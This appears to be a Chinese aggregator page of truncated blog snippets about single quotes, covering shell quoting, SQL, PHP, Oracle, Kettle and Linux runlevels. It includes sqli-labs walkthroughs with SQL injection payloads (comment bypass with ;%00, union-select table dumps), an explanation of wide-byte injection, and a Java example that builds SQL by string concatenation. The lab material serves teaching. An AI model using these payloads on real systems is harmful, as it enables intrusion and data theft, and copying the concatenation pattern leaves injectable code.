单引号

shell中单引号、双引号、反引号的使用

末鹿安然 提交于 2021-01-07 06:57:21
在编写shell脚本时,会经常地使用到单引号、双引号、反引号这些特殊的符号。它们在shell中有着不同的作用,但容易被误用和引起混乱。简单总结一下三者的使用和区别。 单引号 它关闭shell中所有的特殊符号使用和解释,即单引号间的内容全部以普通字符的含义进行文本使用和解释,不管是特殊字符 $ ,还是转义字符之类的。例子: <!-- lang: shell --> ~$ a=12;test='this is a $a \$ `date`';echo $test this is a $a \$ `date` 双引号 它关闭shell中大部分的特殊符号,但是某些保留,比如 $ ,转义字符 \(不包括\n,\t之类),反引号字符,单引号字符在双引号中时作为普通字符,不具有上面的功能作用。例子: <!-- lang: shell --> ~$ a=12;test="this is a $a \b `date`";echo $test this is a 12 \b Thu Mar 21 15:24:45 HKT 2013 ~$ a=12;test="'this is a $a \b `date`'";echo $test 'this is a 12 \b Thu Mar 21 15:32:09 HKT 2013' ~$ a=12;test="this is a $a \n `date`"

sqli-labs Less23-Less28a

眉间皱痕 提交于 2020-03-20 12:30:28
Lesson 23 GET - Error Based - strip comments ( 基于错误的 , 过滤注释的 GET 型 ) (1) 先测试      ?id=1     SELECT * FROM users WHERE id='1' LIMIT 0,1    显示出用户名和密码 (2) 加上一个单引号进行测试     ?id=1'    SELECT * FROM users WHERE id='1'' LIMIT 0,1    出现了报错   加上注释符进行注释看会不会出错    ?id=1'--+   SELECT * FROM users WHERE id='1' ' LIMIT 0,1    还是出现了报错,查看 sql 语句发现并没有把新加的单引号注释掉 (3) 这里涉及到代码审计的知识,打开源代码    发现这里将 # 和 -- 符号都进行了替换,替换成了空。所以我们输入 --+ 进行注释是无效的 (4) 第一种解决方法   这里有一个只针对于 sqli-lab 使用的一个特殊符号 ;%00   ?id=1' ;%00   SELECT * FROM users WHERE id='1' ;' LIMIT 0,1    登录成功   之后使用 order by 语句判断列数,列数为 3   ?id=1' order by 3;%00   接下来就是老操作

SQL语句中有关单引号、双引号和加号的问题

这一生的挚爱 提交于 2020-02-29 10:49:26
字符串数据是用单引号包在外面的,而+号只是用来连接这些字符串的. 数据库里的字段是整型的时候不要加单引号,是字符串的时候要加,其它类型根据实际情况来,双引号就是用来拼接字符串的,单引号是sql文的固有写法,因为你要动态的来拼接,涉及到变量,所以要用“+”来组合各个字符串片段。最终结果无非就是得出能在数据库查询分析器中执行的sql文。 String sql = "insert into student values ( " + student.getId() + " ,' " + student.getUsername() + " ', " + student.getAge() + " ,' " + student.getClassnumber()+" ')"; 因为id和age是int型的所以不用加单引号, 你的Username在数据库中定义的是一个varchar型的,而对字符型进行条件查询的时候是要加 ' '号的: select count(*) from student where username= 'aaa ' 因此在后台写查询字符串的时候就必须这样写: string sql = "select count(*) from student where username= ' "+userName+ " ' " 这样映射成的查询语句就是: select count(*)

sql-libs闯关11-20关

萝らか妹 提交于 2020-02-25 16:18:43
从第11关开始,我们就进入到了POST注入的世界了。 POST post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常常使用的用户登录模块、网站的留言板模块等,在这些功能模块中我们提交的数据都是以 post的方式提交的服务器的,之后再由服务器端进行验证。 闯关时我们可以用burpsuit抓包软件也可以继续使用 火狐+hackbar插件 好,开始闯关 Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入) 我们先输账号为: admin' 密码为:123可以看到123被单引号括住,说明是单引号闭合型。 接下来输入账号为: admin'# ,密码为: 123 可以看到,页面显示正确进入,而且还有两个显示位面。 这就基本上和第一关一样,用联合注入。思路和第一关差不多,先输入一个不存在的用户名使前半部分报错 0admin' order by 3# ,(注意这里注释的话要用#,用–+页面会报错的) 页面错误,将3改为2,页面正常。所以有两个字段。 爆数据库名:Username: 0admin' union select 1,database()# 爆数据表名:Username:0admin' union select (select group_concat(table_name)

sqli-宽字节注入

*爱你&永不变心* 提交于 2020-02-18 00:03:15
0x0 背景 当某字符的大小为一个字节时,称其字符为窄字节. 当某字符的大小为两个字节时,称其字符为宽字节. 所有英文默认占一个字节,汉字占两个字节 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等 0x1 宽字节注入原理 程序员为了防止sql注入,对用户输入中的单引号(’)进行处理,在单引号前加上斜杠(\)进行转义,这样被处理后的sql语句中,单引号不再具有‘作用’,仅仅是‘内容’而已,换句话说,这个单引号无法发挥和前后单引号闭合的作用,仅仅成为‘内容‘ 【再举个例子,要找某位名字里带单引号的用户,搜索的时候,就要让单引号成为内容去搜索,而不能起到其他作用】 而安全测试人员要绕过这个转义处理,使单引号发挥作用,有两个思路: 让斜杠(\)失去作用 让斜杠(\)消失 第一个思路就是借鉴程序员的防范思路,对斜杠(\)转义,使其失去转义单引号的作用,成为‘内容’ 第二个思路就是宽字节注入 当使用宽字节编码,如:GBK时,两个连在一起的字符会被认为是汉字,我们可以在单引号前加一个字符,使其和斜杠(\)组合被认为成汉字,从未达到让斜杠消失的目的,进而使单引号发挥作用 注意:前一个字符的Ascii要大于128,两个字符才能组合成汉字 0x2 注入方法 0x21 黑盒 可以看到,在发现单引号被转义后,当我们加了%df后,sql语句报错,说明单引号发挥了作用

PHP基础语法

我怕爱的太早我们不能终老 提交于 2020-02-03 00:49:04
一、变量 1.1 变量名称 PHP中的变量是由一个“$”后面跟变量名来表示,变量名是区分大小写的。 一个有效的变量名由字母或者下划线开头,后面跟上任意数量的字母、数字,或者下划线。 1.2 给变量赋值 1.3 引用赋值 将“&”符号加到将要赋值变量前 1.4 变量的数据类型 $a=1 //$a是整形 $a=1.1 //$a是浮点型 $a="a" //$a现在是字符串型,PHP解析器会自动决定变量的类型 1.5 可变变量 <?php $a='hello'; $$a='world'; echo $a; //输出hello echo $$a; //输出world echo $hello; //输出world ?> 二、常量 2.1 声明常量 可以用define()声明常量 define('NAME','php'); //常量名是一个大写的字符串 echo NAME; //输出php 也可以用const关键字定义常量 const NAME='php'; echo NAME; //输出php 2.2 常量与变量的不同 #常量前没有“💲”符号; #常量只能用define()函数和const关键字定义,不能通过赋值语句; #常量一经定义就不能被重新定义或者取消定义 #常量的值只能是标量 2.3 用defined()函数检测常量是否存在 2.4 内置常量

java 字符类型

雨燕双飞 提交于 2020-01-14 04:30:53
char类型 JAVA中,char占2字节,16位。 char a=‘a’; //任意单个字符,加单引号。 char a=‘中’;//任意单个中文字,加单引号。 char a=111;//整数。0~65535。十进制、八进制、十六进制均可。输出字符编码表中对应的字符。 实际存放的都是int类型 来源: CSDN 作者: Claroja 链接: https://blog.csdn.net/claroja/article/details/103695664

Oracle字符串如何连接单引号

限于喜欢 提交于 2020-01-10 01:15:46
Oracle字符串如何连接单引号 今天写了个存储过程,需要在字符串变量前后加单引号。貌似简单的事情折腾了我一下午,好在天无绝人之路。终于被我弄明白甲骨文的变态规则。 Oracle 字符串连接单引号: 1. 首尾单引号为字符串识别标识,不做转译用 2. 首尾单引号里面如果出现的单引号,并且有多个,则相连两个单引号转译为一个字符串单引号 3. 单引号一定成对出现,否者这个字符串出错,因为字符串不知道哪个单引号负责结束 select to_char('aaa') from dual; select '' || to_char('aaa') || '' from dual; select '''' || to_char('aaa') || '''' from dual; select '''''' || to_char('aaa') || '''''' from dual; select '''''''' || to_char('aaa') || '''''''' from dual; select ' '' ' ||' ' || ' '' ' || to_char('aaa') || ' '' '' ' from dual; 拼接示例: create or replace procedure proc_createnewcardversion(srcunitcode varchar2,

kettle的【阻塞数据】、【阻塞数据直到完成】、【执行SQL脚本】

白昼怎懂夜的黑 提交于 2020-01-05 22:27:28
kettle转换中的各个组件是并行的关系,job中是有先后顺序的,这样就可能会遇到一种情况——我想在某个步骤完成后再执行下面的步骤,这时该怎么办呢?那么这时就可以用到【阻塞数据】和【阻塞数据直到完成】两个组件; 【阻塞数据】:这个组件只允许前一个步骤的最后一条数据通过,这个往往和【执行SQL脚本】组件 并用; 【阻塞数据直到完成】:这个组件会将所设置的被阻塞步骤的所有数据堵住,当被阻塞的步骤完成后,才会将被阻塞步骤的所有数据往下一个步骤推; 注:虽然阻塞了,但是阻塞之后的步骤仍然在运行,即运行时间仍然在进行; 【执行SQL脚本】: 这个组件是一个相对比较复杂的组件,在转换中这个组件是运行优先级很高的组件,如果不勾选{执行每一行}这个选项,那么该组件就只会执行一次,勾选了这个选项那么执行次数就是前一个步骤的数据条目数;如果想实现该组件只在最后一步执行一次,那么可以这样来操作 【注】:此时别忘了勾选{执行每一行}这个选项,这个流程的逻辑就是当【表输出】完成后,将其的最后一条数据推过【阻塞数据】,然后执行【执行SQL脚本】,因为勾选了{执行每一行}这个选项,又因为【阻塞数据】只有一条数据,那么【执行SQL脚本】只执行一次; 另外【执行SQL脚本】还有一些其他的选项,如{变量替换}等; 一、当要使用变量时必须勾选{变量替换}这个选项,如果只勾选这个选项,那么变量只能使用${变量名}这样的

运行级别,压缩命令,单引号与双引号运用

依然范特西╮ 提交于 2019-12-31 22:54:51
1.1 第 8 题 linux 系统运行级别一般为 0-6 ,请分别写出每个级别的含义。 1.1.1 运行级别的含义 0 关机 1 单用户模式 2 多用户模式 没有 NFS 3 完全的多用户 命令行模式 4 没有使用 5 图形化界面模式 6 重启 1.1.2 临时切换运行级别 init 5 临时修改 1.1.3 查看运行级别 runlevel 显示运行级别 1.1.4 永久修改运行级别 修改文件 /etc/inittab 1.2 第 9 题 希望防火墙,仅在 3 级别上开机自启动,该如何做? 1.2.1 --level 在 --level 后加数字指定运行级别 on 开 off 关 [root@znix ~]# chkconfig --level 3 iptables on [root@znix ~]# chkconfig |grep ipt iptables 0:off 1:off 2:off 3:on 4:off 5:off 6:off [root@znix ~]# chkconfig --level 3 iptables off [root@znix ~]# chkconfig |grep ipt iptables 0:off 1:off 2:off 3:off 4:of 1.3 第 13 题 etc/ 目录为 linux 系统的默认的配置文件及服务启动命令的目录 a. 请用